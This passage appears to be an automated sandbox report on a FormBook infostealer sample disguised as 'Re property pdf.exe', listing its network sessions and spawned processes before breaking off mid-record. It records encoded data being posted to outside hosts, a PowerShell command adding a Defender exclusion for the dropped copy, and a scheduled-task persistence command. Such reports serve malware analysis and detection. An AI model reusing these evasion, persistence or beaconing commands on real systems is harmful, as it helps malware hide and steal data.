Ascii: 2BWDG=ylsIEqMeXWae/OmYOh52dYmIJFo0fwbtC6muQ2GInAsHjFqPHpzTt2av2uy1ArpxHx0IB+TCMYpQaAMdvMjsK9PbfSESdC64HwB+y0NAlC6/sicWvPb4sGRuctscF46kLDvur3XpN1oa5mjg+mGcVGF63nNfjIMzTDhurM8PWMsTTFxvZBx4NZJiaJZA5nXcZ7fabDU6ox76UsRRMyvnX5Xu9bHtlhUXRoyM9EnSJhi8f72qjK4V/Bp7nZW/9uW1IHCKOXxXSzJHQ/Li077MRK0cwboJ0b0qsjJO7Z8dVjD7QZ9ZXjb084BvhbKj7pvnzijD5FrWAvvESVAEtePVbU6GzrooHC0/pbJ4iwCMpWJiCTGzmBNc4EiJw5EZCmvOAaGmSvIZiZZI84aRGf3RagsPqGz53hrVO/5ncY/9MQzf9oGjX8fj1DsYtlW/JFvd0+BqukT6kefcWQ/HBEtUKtzoP4BFn7RupCl0cjDE2lQ9YWTj5rIDt4Ck+pFT4eda3WZ9/k0ZsaJIAA1l0NSFk5Pxhz+9zLSHBn3xfRJ8rUJiz6i9Rvoh6octG3WJxjmAi033oYaY5oU6ayp8xwmnj5Z1kdpCoQXpLZ2ETfd8fkDEpaf6EGm7Skelx+d8QsNCHDRzB7dWPeDoRKmwfXxhNng4TBtjctBcbPeS5GGXhS1Poz9qH7d7egWU60t+q53pL+AKBVoJwevGlCQ1lNrx0N4972g6iYl2FdhIauasYwn3XcmRJ3AE74nsSRb6hZq8/MgsBxkrsw2m3YkF4A7E6XKwzSvW833uNNyo7ABz7n1iHI6+8a/Ky7+8s8pjwiTdjRARXABCw22T5mTX6o/61590N+c/OGC1H3NaYZbj0X2iteo7wj9YMKTZj5g8t3ooMnAyqTvYYYyEqkvgxBDb3KtPHA3v9LWxTVZTEftgxNZSjqooF5ZvxLo+r+fe5LMCfDF7wzYl/M9c0ldxtKUcPuCfbRxYuEiZDJFiPF0STFSyZL [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50055	84.32.84.32	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:57.979615927 CEST	595	OUT	GET /314m/?wfm=G6oTo8vx&2BWDG=/nEoHfYmGWKhq8vFGRFNK+CuQmseJQPwD7+4RgKMnEs9pXqONJL1vWb6ndeJft1RBApaVMH9KNEUZDtJl+3Iba72QDspFCGFBwch41sSsFCGmhRE7+Dvvlc= HTTP/1.1 Host: www.rsantos.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:59:58.617046118 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Sat, 19 Oct 2024 10:59:58 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 7f7c8e2ab29aa6ddd920d017a44674e4-phx-edge5 Expires: Sat, 19 Oct 2024 10:59:57 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 19, 2024 12:59:58.617074013 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Oct 19, 2024 12:59:58.617085934 CEST	424	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Oct 19, 2024 12:59:58.617948055 CEST	1236	IN	Data Raw: 70 78 20 30 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 62 61 73 65 6c 69 6e 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6d 65 73 73 61 67 65 20 70 7b 66 6f 6e 74 2d 77 65 69 67 Data Ascii: px 0;align-items:baseline;border-radius:5px;position:relative}.message p{font-weight:400;font-size:14px;line-height:24px}#pathName{color:#2f1c6a;font-weight:700;overflow-wrap:break-word;font-size:40px;line-height:48px;margin-bottom:16px}.secti
Oct 19, 2024 12:59:58.618014097 CEST	212	IN	Data Raw: 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 7d 2e 6e 61 76 62 61 72 2d 6c 69 6e 6b 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 Data Ascii: container{margin-top:30px}.navbar-links{display:flex;flex-direction:column;align-items:center}.navbar-links>li{margin:0}.top-container{flex-direction:column-reverse}}</style><script src="https://www.googletagmana
Oct 19, 2024 12:59:58.618024111 CEST	1236	IN	Data Raw: 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 32 36 35 37 35 39 38 39 2d 34 34 22 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 Data Ascii: ger.com/gtag/js?id=UA-26575989-44" async></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer\|\|[],gtag("js",new Date),gtag("config","UA-26575989-44")</script><nav class="navbar navbar-inverse"><div class
Oct 19, 2024 12:59:58.618032932 CEST	212	IN	Data Raw: 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 73 69 67 6e 2d 69 6e 2d 61 6c 74 22 3e 3c 2f 69 3e 20 4c 6f 67 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 6e 61 76 3e 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: ue class="fas fa-sign-in-alt"></i> Login</a></li></ul></div></div></nav><div class=empty-account-page><div class=container><div class="col-xs-12 top-container"><div class=message><h2 id=pathName><i></i></h2><div
Oct 19, 2024 12:59:58.618041992 CEST	1236	IN	Data Raw: 63 6c 61 73 73 3d 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 3e 48 61 70 70 79 20 74 6f 20 73 65 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 77 69 74 68 20 48 6f 73 74 69 6e 67 65 72 21 3c 2f 64 69 76 3e 3c 70 3e 59 6f 75 72 20 64 6f 6d 61 69 Data Ascii: class=message-subtitle>Happy to see your domain with Hostinger!</div><p>Your domain is active and is using Hostinger nameservers. Take the recommended steps below to continue your journey with Hostinger.</p></div><img src=https://cdn.hostinger
Oct 19, 2024 12:59:58.618053913 CEST	1236	IN	Data Raw: 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 74 69 74 6c 65 3e 43 68 61 6e 67 65 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 73 65 72 76 Data Ascii: stom-wrap"><div class=column-custom><div class=column-title>Change domain nameservers</div><br><p>Manage your domain nameservers in the domain management page of your Hostinger account.</p><br><a href=https://support.hostinger.com/en/articles/
Oct 19, 2024 12:59:58.618067026 CEST	424	IN	Data Raw: 65 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 61 3d 31 32 38 2c 66 3d 30 2c 69 3d 37 32 2c 28 63 3d 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2d 22 29 29 3c 30 26 26 28 63 3d 30 29 2c 75 3d 30 3b 75 3c 63 3b 2b 2b 75 29 7b 69 66 28 74 26 26 28 79 5b Data Ascii: e.length;for(a=128,f=0,i=72,(c=e.lastIndexOf("-"))<0&&(c=0),u=0;u<c;++u){if(t&&(y[m.length]=e.charCodeAt(u)-65<26),128<=e.charCodeAt(u))throw new RangeError("Illegal input >= 0x80");m.push(e.charCodeAt(u))}for(d=0<c?c+1:0;d<E;){for(l=f,p=1,g=o
Oct 19, 2024 12:59:58.623495102 CEST	1236	IN	Data Raw: 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 70 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 31 29 22 29 3b 69 66 28 66 2b 3d 73 2a 70 2c 73 3c 28 43 3d 67 3c 3d 69 3f 31 3a 69 2b 32 36 Data Ascii: floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=sp,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p=o-C}if(i=n(f-l,h=m.length+1,0===l),Math.floor(f/h)>r-a)throw RangeError("p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50056	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 13:00:03.721625090 CEST	860	OUT	POST /a57a/ HTTP/1.1 Host: www.jsninja.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.jsninja.net Referer: http://www.jsninja.net/a57a/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6a 64 70 51 47 53 56 6c 35 76 37 73 4b 37 35 38 4f 58 64 6f 30 75 36 75 6b 6a 50 46 4b 37 42 6e 44 48 35 42 51 70 30 6f 42 69 30 64 62 64 36 73 4a 77 2f 4b 35 4e 6e 75 72 61 52 30 66 4b 42 76 63 31 6d 63 6c 79 71 4b 64 7a 77 49 7a 4e 6d 6d 2b 72 6c 47 63 67 41 4a 57 37 35 2b 35 38 5a 6f 4b 77 64 79 64 73 63 6c 46 4e 41 38 41 4f 32 73 44 79 64 73 63 56 4d 2b 68 34 7a 68 73 4e 53 75 5a 47 66 38 78 32 32 46 32 57 62 6e 62 4b 53 4b 4b 52 63 36 76 4b 58 4a 72 49 46 72 41 62 4d 79 5a 59 52 77 6e 78 71 72 78 71 2b 74 64 35 68 31 6d 42 6e 4b 62 6f 56 30 51 4a 73 4d 65 4a 35 6d 32 77 3d 3d Data Ascii: 2BWDG=jdpQGSVl5v7sK758OXdo0u6ukjPFK7BnDH5BQp0oBi0dbd6sJw/K5NnuraR0fKBvc1mclyqKdzwIzNmm+rlGcgAJW75+58ZoKwdydsclFNA8AO2sDydscVM+h4zhsNSuZGf8x22F2WbnbKSKKRc6vKXJrIFrAbMyZYRwnxqrxq+td5h1mBnKboV0QJsMeJ5m2w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50057	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 13:00:06.939129114 CEST	880	OUT	POST /a57a/ HTTP/1.1 Host: www.jsninja.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.jsninja.net Referer: http://www.jsninja.net/a57a/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6a 64 70 51 47 53 56 6c 35 76 37 73 4b 62 4a 38 49 45 46 6f 79 4f 36 74 6f 44 50 46 41 62 41 75 44 41 78 42 51 6f 77 34 42 77 41 64 63 2f 69 73 49 78 2f 4b 36 4e 6e 75 6b 36 52 78 52 71 42 6b 63 31 69 55 6c 77 4f 4b 64 7a 6b 49 7a 50 2b 6d 2b 38 78 46 63 77 41 78 64 62 35 38 33 63 5a 6f 4b 77 64 79 64 76 68 4f 46 4e 59 38 41 37 2b 73 43 51 35 76 57 31 4d 39 6f 59 7a 68 6f 4e 53 71 5a 47 65 5a 78 33 71 76 32 55 6a 6e 62 4b 43 4b 4b 41 63 35 6b 4b 58 4c 31 49 45 4c 47 4a 74 64 64 39 78 38 6f 33 2b 4a 75 65 50 4f 59 2f 77 76 33 77 47 64 4a 6f 78 48 4e 4f 6c 34 54 4b 45 76 74 37 4b 57 56 4c 55 2f 51 46 6b 61 4d 78 68 4e 62 42 4d 36 6f 4c 55 3d Data Ascii: 2BWDG=jdpQGSVl5v7sKbJ8IEFoyO6toDPFAbAuDAxBQow4BwAdc/isIx/K6Nnuk6RxRqBkc1iUlwOKdzkIzP+m+8xFcwAxdb583cZoKwdydvhOFNY8A7+sCQ5vW1M9oYzhoNSqZGeZx3qv2UjnbKCKKAc5kKXL1IELGJtdd9x8o3+JuePOY/wv3wGdJoxHNOl4TKEvt7KWVLU/QFkaMxhNbBM6oLU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50058	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 13:00:09.557213068 CEST	10962	OUT	POST /a57a/ HTTP/1.1 Host: www.jsninja.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.jsninja.net Referer: http://www.jsninja.net/a57a/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6a 64 70 51 47 53 56 6c 35 76 37 73 4b 62 4a 38 49 45 46 6f 79 4f 36 74 6f 44 50 46 41 62 41 75 44 41 78 42 51 6f 77 34 42 77 34 64 62 4d 71 73 4a 53 58 4b 37 4e 6e 75 36 4b 52 77 52 71 42 6c 63 31 61 51 6c 77 44 39 64 78 63 49 79 71 69 6d 76 34 64 46 53 77 41 78 53 37 35 39 35 38 5a 35 4b 77 73 35 64 76 78 4f 46 4e 59 38 41 36 4f 73 43 43 64 76 5a 56 4d 2b 68 34 7a 58 73 4e 53 53 5a 48 32 76 78 30 48 61 32 6b 44 6e 61 72 79 4b 48 53 45 35 6d 71 58 7a 77 49 45 70 47 4a 68 43 64 35 59 50 6f 33 69 7a 75 5a 2f 4f 56 71 4e 76 74 67 79 2f 4c 71 78 55 5a 38 6c 59 66 5a 30 63 6f 5a 4b 66 52 49 63 58 54 47 6b 2b 4f 7a 41 42 50 68 52 39 72 65 69 6a 7a 5a 61 61 4c 71 62 45 55 65 52 4d 62 45 67 74 55 69 73 77 63 61 42 4f 4b 4a 4f 48 39 57 70 45 39 45 51 48 53 4e 68 48 78 57 54 43 61 73 54 56 69 49 78 33 34 38 6f 6e 4f 31 71 35 33 6c 4a 5a 47 66 68 77 5a 76 49 50 64 75 2f 34 41 42 30 72 39 38 71 58 66 53 6d 53 71 6f 4d 42 2b 67 64 6d 65 74 57 43 47 4a 35 51 65 53 77 57 79 77 38 61 63 38 68 64 [TRUNCATED] Data Ascii: 2BWDG=jdpQGSVl5v7sKbJ8IEFoyO6toDPFAbAuDAxBQow4Bw4dbMqsJSXK7Nnu6KRwRqBlc1aQlwD9dxcIyqimv4dFSwAxS75958Z5Kws5dvxOFNY8A6OsCCdvZVM+h4zXsNSSZH2vx0Ha2kDnaryKHSE5mqXzwIEpGJhCd5YPo3izuZ/OVqNvtgy/LqxUZ8lYfZ0coZKfRIcXTGk+OzABPhR9reijzZaaLqbEUeRMbEgtUiswcaBOKJOH9WpE9EQHSNhHxWTCasTViIx348onO1q53lJZGfhwZvIPdu/4AB0r98qXfSmSqoMB+gdmetWCGJ5QeSwWyw8ac8hdyr4DnLDWMrAaK9FAuNN6XNDDFqMtCnFaD9BaKcK3U7P303i7evs6g4p380P4EDnKlr2RdqCD8dWgIEWg9nLRVLLfIhQd38OVpoJS4nTbseMxQ2jLMbPx5YgN4GrTT1WfJ5rMZmIulXInMnhORWQranWvF/fdda7mQDkGfyZb16GZwjSuOTr3QsStkP6Wy0WxLPksFJzR8L9gpc95eCeiSrNwVkFG29/xdRP0EDSzijMPwUYo9c0noJrzxQ2ac8vRBHRsYI09brSTPKxdX7KPHTSmUePTp5C23hUw6LSSjfZATyV+W13AltNH6ZHoCKY6dGCUNvGQ31RKJuPnr7mCFMsjhvhpL3omxnDj+3gOWW7x7s1/xZKN7Gzwx8BlEiDojM3oPgS9STrWV52ePpKmdkHQ3AjNCmwJW9IOQWDIEpnQNXDpRSs7dOTDMFXR/E9JcVFQICopCFS1JU+ny+qKYqSRYrsVylWxiGw1F9oiO13RWTZ7Z+DHTs0t9gxSFxaBauotT2d7yhmwdyavG3PDwazMbKb8NhmajUD04Bt73soKCZTkn38P+NHOUOzkOHbcuhajTFjbq1oYSGN4Qraq6tHq/5xJFCIHsd/KVPitnBZR0M5tBpmmh/PWuvjK4bFpgdmC7/7y/cNpIgTdBkYylGLxn2MiAdBLYA [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50059	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 13:00:12.732429981 CEST	594	OUT	GET /a57a/?2BWDG=ufBwFiprob3VF6k6UE1279W30zXHAcoAMQ5DA8EncRwSSdWTAgjp/PT6qbRvKZhyWw7OmhD3dggL59zyh6BsMWoIasJTvdtYPi0tEctyZ7U7D7SOHDVEOnk=&wfm=G6oTo8vx HTTP/1.1 Host: www.jsninja.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 13:00:13.328516960 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 11:00:13 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 32 42 57 44 47 3d 75 66 42 77 46 69 70 72 6f 62 33 56 46 36 6b 36 55 45 31 32 37 39 57 33 30 7a 58 48 41 63 6f 41 4d 51 35 44 41 38 45 6e 63 52 77 53 53 64 57 54 41 67 6a 70 2f 50 54 36 71 62 52 76 4b 5a 68 79 57 77 37 4f 6d 68 44 33 64 67 67 4c 35 39 7a 79 68 36 42 73 4d 57 6f 49 61 73 4a 54 76 64 74 59 50 69 30 74 45 63 74 79 5a 37 55 37 44 37 53 4f 48 44 56 45 4f 6e 6b 3d 26 77 66 6d 3d 47 36 6f 54 6f 38 76 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?2BWDG=ufBwFiprob3VF6k6UE1279W30zXHAcoAMQ5DA8EncRwSSdWTAgjp/PT6qbRvKZhyWw7OmhD3dggL59zyh6BsMWoIasJTvdtYPi0tEctyZ7U7D7SOHDVEOnk=&wfm=G6oTo8vx"}</script></head></html>

Target ID:	0
Start time:	06:56:07
Start date:	19/10/2024
Path:	C:\Users\user\Desktop\Re property pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Re property pdf.exe"
Imagebase:	0x910000
File size:	702'976 bytes
MD5 hash:	A217FF7DA729F56FAF0BB3DE4AD87F40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	06:56:09
Start date:	19/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Imagebase:	0xa80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	06:56:09
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	06:56:09
Start date:	19/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp"
Imagebase:	0x610000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	06:56:09
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	06:56:10
Start date:	19/10/2024
Path:	C:\Users\user\Desktop\Re property pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Re property pdf.exe"
Imagebase:	0x400000
File size:	702'976 bytes
MD5 hash:	A217FF7DA729F56FAF0BB3DE4AD87F40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	06:56:10
Start date:	19/10/2024
Path:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
Imagebase:	0xa40000
File size:	702'976 bytes
MD5 hash:	A217FF7DA729F56FAF0BB3DE4AD87F40
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	8
Start time:	06:56:11
Start date:	19/10/2024
